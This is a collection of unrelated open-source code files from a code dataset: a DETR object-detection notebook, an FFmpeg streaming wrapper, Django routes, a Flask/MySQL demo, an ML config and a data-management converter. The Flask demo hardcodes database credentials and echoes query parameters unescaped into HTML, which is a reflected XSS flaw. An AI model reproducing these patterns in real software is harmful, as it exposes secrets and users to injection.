range(EPOCHS):\n train_loss = train_fn(train_data_loader, model,criterion, optimizer,device,scheduler=None,epoch=epoch)\n valid_loss = eval_fn(valid_data_loader, model,criterion, device)\n \n print('|EPOCH {}| TRAIN_LOSS {}| VALID_LOSS {}|'.format(epoch+1,train_loss.avg,valid_loss.avg))\n \n if valid_loss.avg < best_loss:\n best_loss = valid_loss.avg\n print('Best model found for Fold {} in Epoch {}........Saving Model'.format(fold,epoch+1))\n torch.save(model.state_dict(), f'detr_best_{fold}.pth')\n\n\n# In[18]:\n\n\nrun(fold=0)\n\n\n# # Sample\n# \n# * I know we might be naive to visualize the model ouput just after one epoch but lets do that and see what are the results like\n\n# In[19]:\n\n\ndef view_sample(df_valid,model,device):\n '''\n Code taken from Peter's Kernel \n https://www.kaggle.com/pestipeti/pytorch-starter-fasterrcnn-train\n '''\n valid_dataset = WheatDataset(image_ids=df_valid.index.values,\n dataframe=marking,\n transforms=get_valid_transforms()\n )\n \n valid_data_loader = DataLoader(\n valid_dataset,\n batch_size=BATCH_SIZE,\n shuffle=False,\n num_workers=4,\n collate_fn=collate_fn)\n \n images, targets, image_ids = next(iter(valid_data_loader))\n _,h,w = images[0].shape # for de normalizing images\n \n images = list(img.to(device) for img in images)\n targets = [{k: v.to(device) for k, v in t.items()} for t in targets]\n \n boxes = targets[0]['boxes'].cpu().numpy()\n boxes = [np.array(box).astype(np.int32) for box in A.augmentations.bbox_utils.denormalize_bboxes(boxes,h,w)]\n sample = images[0].permute(1,2,0).cpu().numpy()\n \n model.eval()\n model.to(device)\n cpu_device = torch.device(\"cpu\")\n \n with torch.no_grad():\n outputs = model(images)\n \n outputs = [{k: v.to(cpu_device) for k, v in outputs.items()}]\n \n fig, ax = plt.subplots(1, 1, figsize=(16, 8))\n\n for box in boxes:\n cv2.rectangle(sample,\n (box[0], box[1]),\n (box[2]+box[0], box[3]+box[1]),\n (220, 0, 0), 1)\n \n\n oboxes = outputs[0]['pred_boxes'][0].detach().cpu().numpy()\n oboxes = [np.array(box).astype(np.int32) for box in A.augmentations.bbox_utils.denormalize_bboxes(oboxes,h,w)]\n prob = outputs[0]['pred_logits'][0].softmax(1).detach().cpu().numpy()[:,0]\n \n for box,p in zip(oboxes,prob):\n \n if p >0.5:\n color = (0,0,220) #if p>0.5 else (0,0,0)\n cv2.rectangle(sample,\n (box[0], box[1]),\n (box[2]+box[0], box[3]+box[1]),\n color, 1)\n \n ax.set_axis_off()\n ax.imshow(sample)\n\n\n# In[20]:\n\n\nmodel = DETRModel(num_classes=num_classes,num_queries=num_queries)\nmodel.load_state_dict(torch.load(\"./detr_best_0.pth\"))\nview_sample(df_folds[df_folds['fold'] == 0],model=model,device=torch.device('cuda'))\n\n\n# # End Notes\n# \n# I will further add information about various losses that DETR uses , how is criterion declared , what are its parameters exactly,what is hungarian matcher , a little intuition\n# \n# * We trained one epoch that too for a single fold, but Detr seems to work fairly well.\n# * I hope you liked my effort , trying hands with this new model \n# * If this kernel receives love,I plan to fine tune DETR,run all five folds and publish an inference kernel using WBF for this competition, I belive this can score above 0.74 without any pseudo labelling tricks\n# * I also plan to include visualization of attentionn weights in the next version along with first fold fully trained on 30-35 epochs with a good lr scdeduler\n# * I tried to write a genric code so that this can be used with any general object detection dataset and tasks\n# \n# \n# Please consider upvoting if my efforts helped you or made you excited about DETR\n\n# In[ ]:\n\n\n\n\n","repo_name":"shangeethas/kaggle_notebooks","sub_path":"CV/21/end-to-end-object-detection-with-transformers-detr.py","file_name":"end-to-end-object-detection-with-transformers-detr.py","file_ext":"py","file_size_in_byte":22105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"38416178282","text":"\"\"\"\nAn FFMPEG wrapper for using CUDA-based streaming\n\nAuthor: Jose Stovall | stovallj1995@gmail.com | oitsjustjose@git\n\nCenter for Urban Informatics and Progress | CUIP | utccuip.com\n\"\"\"\n\nimport subprocess\n\nimport cv2\nimport numpy as np\n\n\nclass CUDAStreamer:\n \"\"\"\n Uses the natively compiled FFMPEG command to get a CV2 image from RTSP\n Arguments\n \"\"\"\n\n def __init__(self, camera_url: str, width: int, height: int):\n self.cmd = subprocess.Popen(\n [\n \"ffmpeg\",\n \"-hide_banner\",\n \"-loglevel\",\n \"panic\",\n \"-hwaccel\",\n \"nvdec\",\n \"-reorder_queue_size\",\n \"10000\",\n \"-rtsp_transport\",\n \"tcp\",\n \"-i\",\n camera_url,\n \"-vsync\",\n \"0\",\n \"-vcodec\",\n \"h264_nvenc\",\n \"-f\",\n \"image2pipe\",\n \"-pix_fmt\",\n \"bgr24\",\n \"-vcodec\",\n \"rawvideo\",\n \"-\",\n ],\n stdout=subprocess.PIPE,\n bufsize=10,\n )\n self.width = width\n self.height = height\n\n def get_image(self) -> np.array:\n raw = self.cmd.stdout.read(self.width * self.height * 3)\n image = np.fromstring(raw, dtype=\"uint8\")\n try:\n image = image.reshape((self.height, self.width, 3))\n except ValueError:\n pass\n self.cmd.stdout.flush()\n return image\n","repo_name":"oitsjustjose/CUDA-Streamer","sub_path":"ffmpeg.py","file_name":"ffmpeg.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"74920887084","text":"import random\r\nnumber = random.randint(1,9)\r\nchance = 5\r\nwhile chance > 0:\r\n chance=chance-1\r\n guess= int (input(\"Enter A Number, \"))\r\n if guess == number:\r\n print(\"Congratulations You Won!!\")\r\n break\r\n elif(guess < number):\r\n print(\"The Number You Gussed is Too Small\")\r\n else:\r\n print(\"The Number You Gussed is Too high\")\r\nif chance == 0:\r\n print(\"You Lose number is \" +number)\r\n","repo_name":"yusuf17-10/PhytonProject-1","sub_path":"guessingGame.py","file_name":"guessingGame.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15812032964","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.loginPage, name = \"\"),\n path('registeruser/', views.registeruser , name = \"registeruser\"),\n path('newdpr/', views.newdpr , name = \"newdpr\"),\n path('upload_dpr_docs', views.upload_dpr_docs, name = 'upload_dpr_docs'),\n path('logout/', views.logout, name=\"logout\"),\n path('admin_dashboard/', views.admin_dashboard, name=\"admin_dashboard\"),\n path('admin_pending_users/', views.admin_pending_users, name=\"admin_pending_users\"),\n path('admin_pending_projects/', views.admin_pending_projects, name=\"admin_pending_projects\"),\n path('admin_users/', views.admin_users, name=\"admin_users\"),\n path('update_boq/', views.update_boq, name=\"update_boq\"),\n path('admin_control_panel/', views.control_panel, name=\"admin_control_panel\"),\n\n path('approve_user/',views.approve_user, name='approve_user' ),\n path('reject_user/',views.reject_user, name='reject_user' ),\n path('ban_user/',views.ban_user, name='ban_user' ),\n path('allow_user/',views.allow_user, name='allow_user' ),\n path('downloadformat/', views.downloadformat, name=\"downloadformat\"),\n path('uploadformat/', views.uploadformat, name=\"uploadformat\"),\n\n #Project_handling\n path('download_temp_project/', views.download_temp_project, name=\"download_temp_project\"),\n path('download_project/', views.download_project, name=\"download_project\"),\n path('acceptdpr/', views.acceptdpr, name=\"acceptdpr\"),\n path('rejectdpr/', views.rejectdpr, name=\"rejectdpr\"),\n path('notificationread/', views.notificationread, name=\"notificationread\"),\n\n #pending_projects\n path('under_examination/', views.under_examination, name=\"under_examination\"),\n\n #view Users\n path('view_user/', views.view_user, name=\"view_user/\"),\n\n #TESG\n path('TESG_chain/', views.TESG_chain, name = \"TESG_chain\"),\n path('tesgchain_form/', views.tesgchain_form, name = \"tesgchain_form\"),\n path('TESG_projects/', views.TESG_projects, name=\"TESG_projects\"),\n path('TESG_upload/', views.TESG_upload, name=\"TESG_upload\"),\n path('rejectproject/', views.rejectproject, name=\"rejectproject\"),\n path('acceptTESG/', views.acceptTESG, name=\"acceptTESG\"),\n path('rejectTESG/', views.rejectTESG, name=\"rejectTESG\"),\n path('user_tesg/', views.user_tesg, name=\"user_tesg\"),\n path('downloadTESGresponse/', views.downloadTESGresponse, name = \"downloadTESGresponse\"),\n path('downloadTESGrequest/', views.downloadTESGrequest, name = \"downloadTESGrequest\"),\n path('user_TESG_chain/', views.user_TESG_chain, name = \"user_TESG_chain\"),\n path('user_tesg_response', views.user_tesg_response, name = \"user_tesg_response\"),\n path('approveTESG/', views.approveTESG, name = \"approveTESG\"),\n path('download_tesg_user_outcome/', views.download_tesg_user_outcome, name = \"download_tesg_user_outcome\"),\n path('download_tesg_user_response/', views.download_tesg_user_response, name = \"download_tesg_user_response\"),\n \n path('view_TESGs', views.view_TESGs, name = \"view_TESGs\"),\n path('download_tesg_report/', views.download_tesg_report, name = \"download_tesg_report\"),\n\n #Appraisal\n path('appraisal_projects/', views.appraisal_projects, name=\"appraisal_projects\"),\n path('approve_appraisal/', views.approve_appraisal, name=\"approve_appraisal\"),\n path('delete_appr_doc/', views.delete_appr_doc, name = 'delete_appr_doc'),\n path('send_to_tesg/', views.send_to_tesg, name = 'send_to_tesg'),\n path('user_appraisal_projects/', views.user_appraisal_projects, name=\"user_appraisal_projects\"),\n path('APPR_upload/', views.APPR_upload, name=\"APPR_upload\"),\n path('view_apprs/', views.view_apprs, name=\"view_apprs\"),\n path('download_appr_mom/', views.download_appr_mom, name = 'download_appr_mom'),\n \n \n \n \n #monitoring\n path('monitoring_projects/', views.monitoring_projects, name=\"monitoring_projects\"),\n path('approve_monitoring/', views.approve_monitoring, name=\"approve_monitoring\"),\n path('send_to_appr/', views.send_to_appr, name=\"send_to_appr\"),\n path('msend_to_tesg/', views.msend_to_tesg, name=\"msend_to_tesg\"),\n path('user_monitoring_projects/', views.user_monitoring_projects, name=\"user_monitoring_projects\"),\n path('MONI_upload/', views.MONI_upload, name=\"MONI_upload\"),\n path('view_monis/', views.view_monis, name=\"view_monis\"),\n path('download_moni_mom/', views.download_moni_mom, name = 'download_moni_mom'),\n path('approve_monitoring/', views.approve_monitoring, name = \"approve_monitoring\"),\n\n\n #approval\n path('user_in_doc_sign/', views.user_in_doc_sign, name=\"user_in_doc_sign\"),\n path('admin_in_doc_sign/', views.admin_in_doc_sign, name=\"admin_in_doc_sign\"),\n path('download_doc_sign/', views.download_doc_sign, name=\"download_doc_sign\"),\n \n #ViewAll\n path('view_all_projs/', views.view_all_projs, name=\"view_all_projs\"),\n path('user_view_all_projs/', views.user_view_all_projs, name=\"user_view_all_projs\"),\n path('user_project_details/', views.user_project_details, name = \"user_project_details\"),\n path('admin_project_details/', views.admin_project_details, name = \"admin_project_details\"),\n path('admin_temp_project_details/', views.admin_temp_project_details, name = \"admin_temp_project_details\"),\n path('appr_mom_download/', views.appr_mom_download, name = \"appr_mom_download\"),\n path('moni_mom_download/', views.moni_mom_download, name = \"moni_mom_download\"),\n path('admin_boq_view/', views.admin_boq_view, name = \"admin_boq_view\"),\n\n path('user_boq_view/', views.user_boq_view, name = \"user_boq_view\"),\n path('user_back/', views.user_back, name = \"user_back\"),\n \n #Auditor\n path('auditor_view_TESGs/', views.auditor_view_TESGs, name=\"auditor_view_TESGs\"),\n path('auditor_view_apprs/', views.auditor_view_apprs, name=\"auditor_view_apprs\"),\n path('auditor_view_monis/', views.auditor_view_monis, name=\"auditor_view_monis\"),\n path('auditor_view_projects/', views.auditor_view_projects, name=\"auditor_view_projects\"),\n path('auditor_project_details/', views.auditor_project_details, name=\"auditor_project_details\"),\n path('auditor_view_user/', views.auditor_view_user, name=\"auditor_view_user\"),\n path('auditor_download_project/', views.auditor_download_project, name=\"auditor_download_project\"),\n \n #Payment\n \n path('init_record/', views.init_record, name=\"init_record\"),\n path('init_release/', views.init_release, name=\"init_release\"),\n path('new_loa/', views.new_loa, name=\"new_loa\"),\n path('submitloa/', views.submitloa, name=\"submitloa\"),\n \n]","repo_name":"AbbasHaiderAbidi/PSDF_main","sub_path":"psdf_main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":7156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71446035883","text":"from flask import Flask, render_template, request, redirect, url_for, jsonify\nfrom flask_mysqldb import MySQL\n\napp = Flask(__name__)\n\n# conexión MySQL\napp.config['MYSQL_HOST'] = 'localhost'\napp.config['MYSQL_USER'] = 'jsarmenteros'\napp.config['MYSQL_PASSWORD'] = \"Jm)GCELdIwA0hBlI\"\napp.config['MYSQL_DB'] = \"proyecto_final\"\n\nconn = MySQL(app)\n\n\n@app.before_request\ndef before_request():\n print(\"antes de la petición...\")\n\n\n@app.after_request\ndef after_request(response):\n print(\"después de la petición...\")\n return response\n\n\n@app.route('/')\n@app.route('/home')\n@app.route('/inicio')\ndef index():\n cursos = [\"PHP\", \"Python\", \"Java\", \"Kotlin\", \"Dart\", \"Javascript\"]\n var_data = {\n \"titulo\": \"index\",\n \"bienvenida\": \"saludos\",\n \"cursos\": cursos,\n \"numero_cursos\": len(cursos)\n }\n return render_template(\"index.html\", params=var_data)\n\n\n@app.route('/contacto//') # indica q se espera parámetro nombre\ndef contacto(nombre, edad):\n var_data = {\n 'titulo': 'Contacto',\n 'nombre': nombre,\n 'edad': edad\n }\n return render_template(\"contacto.html\", params=var_data)\n\n\n@app.route('/correo')\ndef correo():\n var_data = {\n 'titulo': \"Correo\"\n }\n return render_template(\"correo.html\", params=var_data)\n\n\ndef query_string():\n print(request)\n print(request.args)\n return \"

    ok: {}, {}, {}

    \".format(\n request.args.get('nombre'),\n request.args.get('edad'),\n request.args.get('correo')\n )\n\n\n@app.route('/cursos')\ndef listar_cursos():\n data = {}\n\n try:\n cur = conn.connection.cursor()\n sql = \"select * from dgt\"\n cur.execute(sql)\n datos = cur.fetchall()\n # print(datos)\n data['datos'] = datos\n data['mensaje'] = 'Éxito'\n\n except Exception as e:\n data['mensaje'] = 'Error'\n\n return jsonify(data)\n\n\ndef pagina_no_encontrada(error):\n # return render_template('404.html'), 404 # muestra 404 personalizado\n return redirect(url_for('index')) # redirige a index.html\n\n\nif __name__ == '__main__':\n app.add_url_rule('/query_string', view_func=query_string)\n app.register_error_handler(404, pagina_no_encontrada)\n app.run(debug=True, port=5000)\n","repo_name":"mesacuadrada/pruebas_python","sub_path":"pruebas_flask.py","file_name":"pruebas_flask.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19653971488","text":"# -*- coding:utf-8 -*-\nnamespaces = {\n 'atom': 'http://www.w3.org/2005/Atom',\n 'app': 'http://www.w3.org/2007/app',\n}\n\ntry:\n import xml.etree.ElementTree as ET\nexcept ImportError:\n import elementtree.ElementTree as ET\n\ndef _fixup_element_prefixes(elem, uri_map, memo, default):\n if elem.tag not in memo:\n uri, tag = elem.tag[1:].split(\"}\")\n memo[elem.tag] = uri_map[uri] == default and tag or uri_map[uri] + \":\" + tag\n elem.tag = memo[elem.tag]\n for key, value in elem.items():\n if key.startswith('xmlns:'):\n del elem.attrib[key]\n\ndef _set_prefixes(root, default):\n uri_map = dict((uri, prefix) for prefix, uri in namespaces.items())\n for elem in root.getiterator():\n _fixup_element_prefixes(elem, uri_map, {}, default)\n for prefix, uri in namespaces.items():\n attrib = prefix == default and 'xmlns' or 'xmlns:%s' % prefix\n root.set(attrib, uri)\n\ndef _element(prefix, name):\n return ET.Element('{%s}%s' % (namespaces[prefix], name))\n\ndef _pretty_print(node, level=0):\n def indent(level):\n return '\\n' + ' ' * level\n if node.text or not len(node):\n return\n node.text = indent(level + 1)\n for child in node:\n child.tail = indent(level + 1)\n _pretty_print(child, level + 1)\n child.tail = indent(level)\n\n\nclass Collection(object):\n def __init__(self, title, workspace, href):\n self.title, self.workspace, self.href = title, workspace, href\n self.accept = []\n\n def service_xml(self):\n result = _element('app', 'collection')\n result.attrib['href'] = self.href\n title = _element('atom', 'title')\n title.text = self.title\n result.append(title)\n for mimetype in self.accept:\n element = _element('app', 'accept')\n element.text = mimetype\n result.append(element)\n return result\n\ndef service_document(collections):\n root = _element('app', 'service')\n workspaces = {}\n for c in collections:\n if c.workspace not in workspaces:\n workspaces[c.workspace] = []\n workspaces[c.workspace].append(c)\n for workspace, collections in workspaces.items():\n ws_element = _element('app', 'workspace')\n title = _element('atom', 'title')\n title.text = workspace\n ws_element.append(title)\n root.append(ws_element)\n for collection in collections:\n ws_element.append(collection.service_xml())\n _set_prefixes(root, 'app')\n _pretty_print(root)\n return ET.ElementTree(root)\n\nif __name__ == '__main__':\n collections = [\n Collection('collection1', 'workspace1', 'http://localhost/collection1'),\n Collection('collection2', 'workspace2', 'http://localhost/collection2'),\n Collection('collection3', 'workspace1', 'http://localhost/collection3'),\n ]\n collections[0].accept = ['image/jpeg', 'image/png']\n service_document(collections).write('/home/maniac/Desktop/text.xml', encoding='utf-8')\n","repo_name":"isagalaev/cicero","sub_path":"cicero/atom/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"19"} +{"seq_id":"36893659633","text":"# %%\nimport pandas as pd\nimport numpy as np\nimport scipy.stats as stats\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nimport tensorflow.keras.layers as layers\nimport tensorflow_probability as tfp\n\ntfd = tfp.distributions\nRoot = tfd.JointDistributionCoroutine.Root\n\n# Data\n\n# synthesized data parameteres\nn_samples = 10000\nn_labels = 64\nn_topics = 12\nn_categories = 2\n\n# mock data\ndata = pd.DataFrame({\n 'category': np.random.choice(n_categories, (n_samples,)),\n 'label': np.random.choice(n_labels, (n_samples,)),\n})\nfeatures = stats.truncnorm(0, 1).rvs(size=(n_samples, n_topics))\ndata = pd.concat([data, pd.DataFrame(features)], axis=1)\n\n# test/train split\ntrain_data = data.sample(frac=.8, random_state=0)\ntest_data = data.drop(train_data.index)\n\n\n# Model\ndef model():\n rv_cat = yield Root(tfd.Categorical(tf.ones(n_categories)/n_categories, name='category'))\n cat_to_lbl = tf.constant(np.ones(n_categories), dtype='float32')[rv_cat]\n rv_lbl = yield tfd.Categorical(tf.ones(n_labels)/n_labels, name='label')\n lbl_to_prb = tf.constant(np.ones(n_labels), dtype='float32')[rv_lbl]\n rv_prb = yield tfd.HalfNormal(lbl_to_prb, name='prob')\n\njoint = tfd.JointDistributionCoroutineAutoBatched(model)\n\n# Model\nX = data['label'].astype('category').cat.codes.values\ny = data.drop(columns=['category','label'])\n\nmodel = tf.keras.Sequential()\nmodel.add(layers.Embedding(n_labels, n_topics))\nmodel.compile('adam', 'mse')\nhistory = model.fit(X, y, epochs=5)\ny_pred = model.predict(data['label'])\n\n# label embedding\nH = model.get_layer(index=0).get_weights()[0]\n\n# plot loss history\nplt.plot(np.arange(len(history.history['loss'])), history.history['loss'])\nplt.suptitle('training loss history')\nplt.xlabel('Epoch')\nplt.ylabel('MSE')\nplt.show()\n\ng = sns.clustermap(H)\ng.ax_heatmap.set(xlabel='embedding dim', ylabel='label')\nplt.show()\n","repo_name":"morteza/CogText","sub_path":"python/cogtext/experimental/tfp_embedding.py","file_name":"tfp_embedding.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"70512584684","text":"import copy\nimport json\nimport jsonschema\nimport os\nimport sys\nimport urllib\nimport argparse\n\nclass color:\n PURPLE = '\\033[95m'\n CYAN = '\\033[96m'\n DARKCYAN = '\\033[36m'\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n YELLOW = '\\033[93m'\n RED = '\\033[91m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n END = '\\033[0m'\n\n \ndef read_json_url(url):\n response = urllib.request.urlopen(url)\n data = json.loads(response.read())\n return data\n\n\ndef read_json_local(path):\n with open(path, 'r') as in_file:\n data = json.load(in_file)\n return data\n\n\ndef write_json_local(path, data):\n try:\n with open(path, 'w') as out_file:\n status = json.dump(data, out_file, indent=4)\n except Exception as e:\n print('Failed to write json with error: {}'.format(e))\n \n\ndef write_rocrates(path, rocrates):\n path_root = os.path.split(path)[0]\n for i, rocrate in enumerate(rocrates):\n path_manifest = os.path.join(path_root, 'dataset_{}'.format(i))\n if not os.path.isdir(path_manifest):\n os.mkdir(path_manifest)\n write_json_local(os.path.join(path_manifest, 'manifest.jsonld'), rocrate)\n\n \ndef check_valid_dmp(dmp, schema):\n print(color.BOLD + 'Checking if valid maDMP' + color.END)\n try:\n jsonschema.validate(instance=dmp, schema=schema)\n print(color.GREEN + 'VALID' + color.END)\n valid = 1\n except Exception as e:\n valid = 0\n print(color.RED + 'NOT VALID' + color.END)\n print('with the following exceptions:\\n')\n print(e)\n pass\n return valid\n\n\ndef get_value(d, k):\n _d = d\n if k.find('::'):\n subkeys = k.split('::')\n for subkey in subkeys[:-1]:\n if subkey in _d:\n _d = _d[subkey]\n else:\n value = -1\n break\n else:\n subkeys = k\n if subkeys[-1] in _d: \n value = _d[subkeys[-1]]\n else:\n value = -1\n return value\n\ndef nested_set(dic, keys, value, create_missing=True):\n d = dic\n if keys.find('::'):\n keys = keys.split('::')\n for key in keys[:-1]:\n if key in d:\n d = d[key]\n elif create_missing:\n d = d.setdefault(key, {})\n else:\n return dic\n if keys[-1] in d or create_missing:\n d[keys[-1]] = value\n return dic\n\n\ndef parse_mapping(d, mapping):\n d_out = {}\n for k, v in mapping.items():\n if isinstance(v, dict):\n d_out = add_entry_from_value(d_out, v)\n continue\n value = get_value(d, k)\n if not value == -1:\n if isinstance(value, list):\n if isinstance(v, list):\n if v[1] == 'list_to_str':\n d_out[v[0]] = ', '.join(value)\n continue\n d_out[v[0]] = parse_list(value, d, v[1])\n continue\n if isinstance(value, dict):\n d_out[v[0]] = parse_mapping(value, v[1])\n continue\n #d_out[v] = value\n d_out = nested_set(d_out, v, value)\n return d_out\n\ndef parse_list(lst, d, mapping):\n lst_out = []\n for item in lst:\n if isinstance(item, dict):\n item_out = parse_mapping(item, mapping)\n elif isinstance(mapping, dict):\n item_out = parse_value_mapping(d, item, mapping)\n else:\n item_out = item\n lst_out.append(item_out)\n return lst_out\n\n\ndef parse_value_mapping(d, item, mapping):\n d_out = {}\n for k, v in mapping.items():\n if isinstance(v, dict):\n for _k, _v in v.items():\n if _v == 'item':\n d_out[_k] = item\n continue\n d_out[_k] = _v\n continue\n value = get_value(d, k)\n if not value == -1:\n d_out[v] = value\n return d_out\n\ndef add_entry_from_value(d, value_dict):\n for k, v in value_dict.items():\n d = nested_set(d, k, v)\n return d\n\nrocrate_header = {\n \"@context\": [\"http://schema.org\", \"https://w3id.org/bundle/context\"],\n \"@type\": [\"ro:ResearchObject\", \"Dataset\"],\n \"@id\": \".\",\n }\n\nrole_value_mapping = {\n 'contributor_id::identifier': '@id',\n '_': {'@type': 'Role'},\n '__': {'name': 'item'}\n}\n\ncontributor_mapping = {\n 'contributor_id::identifier': '@id',\n '_': {'@type': 'Person'},\n #'contributor_id::type': 'type',\n 'mbox': 'email',\n 'name': 'name',\n 'role': ['roleName', role_value_mapping],\n}\n\ncontact_mapping = {\n 'contact_id::identifier': '@id',\n #'contact_id::type': 'type',\n 'mbox': 'email',\n 'name': 'name'\n}\n\ncost_mapping = {\n 'title': '@id',\n '_': {'@type': 'Cost'},\n 'currency_code': 'costCurrency',\n 'description': 'description',\n 'value': 'value',\n}\n\nfunder_mapping = { # list\n 'grant_id::identifier': '@id',\n '_': {'@type': 'Grant'},\n 'funder_id::identifier': 'funder::@id',\n '__': {'funder::@type': 'Organisation'},\n 'funding_status': 'description',\n}\n\nproject_mapping = {\n \"project_id\": '@id', # add ('@type': \"Project\") after @id \n '_': '@type: Project',\n \"title\": \"name\",\n #\"project_id_type\": \"type\",\n \"start\": \"startDate\", # on top level temporalCoverage = \"temporalCoverage_i/temporalCoverage_f\"\n \"end\": \"endDate\",\n \"description\": \"description\",\n \"funding\": ['funder', funder_mapping], # list to list\n}\n\ndmp_header_to_dataset_mapping = {\n 'language': 'language',\n 'created': 'dateCreated',\n 'modified': 'datePublished',\n 'contact': ['contactPoint', contact_mapping],\n 'contributor': ['creator', contributor_mapping],\n 'cost': ['cost', cost_mapping],\n '_': {'ethicsPolicy::@type': 'CreativeWork'},\n 'ethical_issues_exist': 'ethicsPolicy::ethical_issues_exist',\n 'ethical_issues_report': 'ethicsPolicy::ethical_issues_report',\n 'ethical_issues_description': 'ethicsPolicy::ethical_issues_description',\n 'project': ['funder', project_mapping],\n 'available_until': 'endDate',\n}\n\n\nhost_mapping = {\n 'title': 'name',\n 'host::url': 'url',\n '_': {'@type': 'RepositoryCollection'},\n 'description': 'description',\n}\n\n\nlicence_mapping = {\n 'license_ref': '@id',\n '_': {\"@type\": \"CreativeWork\"},\n 'license_name': 'name',\n 'start_date': 'startDate'\n}\n\n\ndistribution_mapping = {\n 'title': '@id',\n 'description': 'description',\n 'byte_size': 'contentSize',\n 'format': ['encodingFormat', None],\n '_': {'data_access::@type': 'ActiveActionStatus'},\n 'data_access': 'data_access::descrition',\n 'host': ['contentLocation', host_mapping],\n 'license': ['license', licence_mapping],\n 'available_until': 'endDate',\n}\n\n\ndataset_mapping = {\n '_': {'@id': '.'},\n 'dataset_id::identifier': 'identifier',\n 'title': 'name',\n 'description': 'description',\n 'type': 'contentType',\n 'keyword': ['keywords', 'list_to_str'],\n 'distribution': ['distribution', distribution_mapping],\n}\n\nmappings = (rocrate_header, role_value_mapping, contributor_mapping, contact_mapping,\n cost_mapping, funder_mapping, project_mapping,\n dmp_header_to_dataset_mapping, host_mapping, licence_mapping,\n distribution_mapping, dataset_mapping)\n\n\ndef madmp_to_rocrate(path,\n path_schema,\n mappings):\n \n rocrate_header, role_value_mapping, contributor_mapping, contact_mapping, \\\n cost_mapping, funder_mapping, project_mapping, \\\n dmp_header_to_dataset_mapping, host_mapping, licence_mapping, \\\n distribution_mapping, dataset_mapping = mappings\n \n # read dmp\n dmp = read_json_local(path)\n \n # check schema\n schema = read_json_url(path_schema)\n valid = check_valid_dmp(dmp, schema)\n if not valid:\n sys.exit(1)\n \n # get dmp content\n dmp_0 = dmp['dmp']\n # get dmp top level info\n rocrate_dmp_part = parse_mapping(dmp_0, dmp_header_to_dataset_mapping)\n # vreate rocrate for each dataset\n rocrates = []\n n_datasets = len(dmp_0['dataset'])\n for i, dataset in enumerate(dmp_0['dataset']):\n print('processing dataset {} of {} datasets'.format(i+1, n_datasets))\n rocrate_dataset = {}\n rocrate_dataset = parse_mapping(dataset, dataset_mapping)\n\n rocrate_header.update(rocrate_dataset)\n rocrate_header.update(rocrate_dmp_part)\n rocrates.append(copy.deepcopy(rocrate_header))\n\n #print(json.dumps(rocrate_header, indent=4))\n \n # write rocrates to disk\n write_rocrates(path, rocrates)\n\n\n\n\n#path = 'exercise2/examples/ex9-dmp-long/ex9-dmp-long-mod.json'\n#path_schema = 'https://raw.githubusercontent.com/RDA-DMP-Common/RDA-DMP-Common-Standard/master/examples/JSON/JSON-schema/1.0/maDMP-schema-1.0.json'\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-path', '--path', type=str, required=True, help='path to maDMP file. Also where manifest will be written') \n parser.add_argument('-path_schema', '--path_schema',\n type=str,\n default='https://raw.githubusercontent.com/RDA-DMP-Common/RDA-DMP-Common-Standard/master/examples/JSON/JSON-schema/1.0/maDMP-schema-1.0.json',\n help='a url to RDA-DMP-Common schema') \n args = parser.parse_args()\n\n madmp_to_rocrate(args.path, args.path_schema, mappings)","repo_name":"clincolnoz/maDMP-rocrates-maDMP","sub_path":"src/madmp_to_rocrates.py","file_name":"madmp_to_rocrates.py","file_ext":"py","file_size_in_byte":9439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28591101135","text":"from typing import (List, Optional)\n\n\nclass SentimentAnalysisConfig():\n # URL for downloading data\n DATA_URL = \"https://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\"\n CURRENT_PATH = None\n\n SENTIMENT_MAP = {\"pos\": 1, \"neg\": 0}\n\n STOPWORDS_TO_ADD: Optional[List[str]] = []\n STOPWORDS_TO_DELETE: Optional[List[str]] = []\n\n TFIDF_ANALYZERS = {\"char\", \"word\"}\n TFIDF_CHAR_PARAMETERS = {\n \"analyzer\": \"char\",\n \"ngram_range\": (3, 3),\n \"max_features\": 4000,\n \"min_df\": 0.001,\n \"max_df\": 0.75\n }\n TFIDF_WORD_PARAMETERS = {\n \"analyzer\": \"word\",\n \"ngram_range\": (2, 2),\n \"max_features\": 1000,\n \"min_df\": 0.001,\n \"max_df\": 0.75\n }\n\n XGB_NUM_BOOST_ROUND = 3000\n XGB_EARLY_STOPPING_ROUNDS = 150\n XGB_PARAMETERS = {\n \"booster\": \"gbtree\",\n \"nthread\": 1,\n \"disable_default_eval_metric\": 1,\n \"eta\": 0.01,\n \"gamma\": 2.0,\n \"max_depth\": 5,\n \"min_child_weight\": 1,\n \"max_delta_step\": 0.0,\n \"subsample\": 0.7,\n \"sampling_method\": \"uniform\",\n \"lambda\": 1.0,\n \"alpha\": 0.2,\n \"tree_method\": \"auto\",\n \"grow_policy\": \"lossguide\"\n }\n XGB_OBJECTIVE = \"binary:logistic\"\n XGB_EVALUATION_METRIC = \"\"\n XGB_EVAL_FBETA = 1","repo_name":"vishu-tyagi/Sentiment-Analysis-IMDB","sub_path":"src/sentiment-analysis/sentiment_analysis/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39521907987","text":"#IMPORT 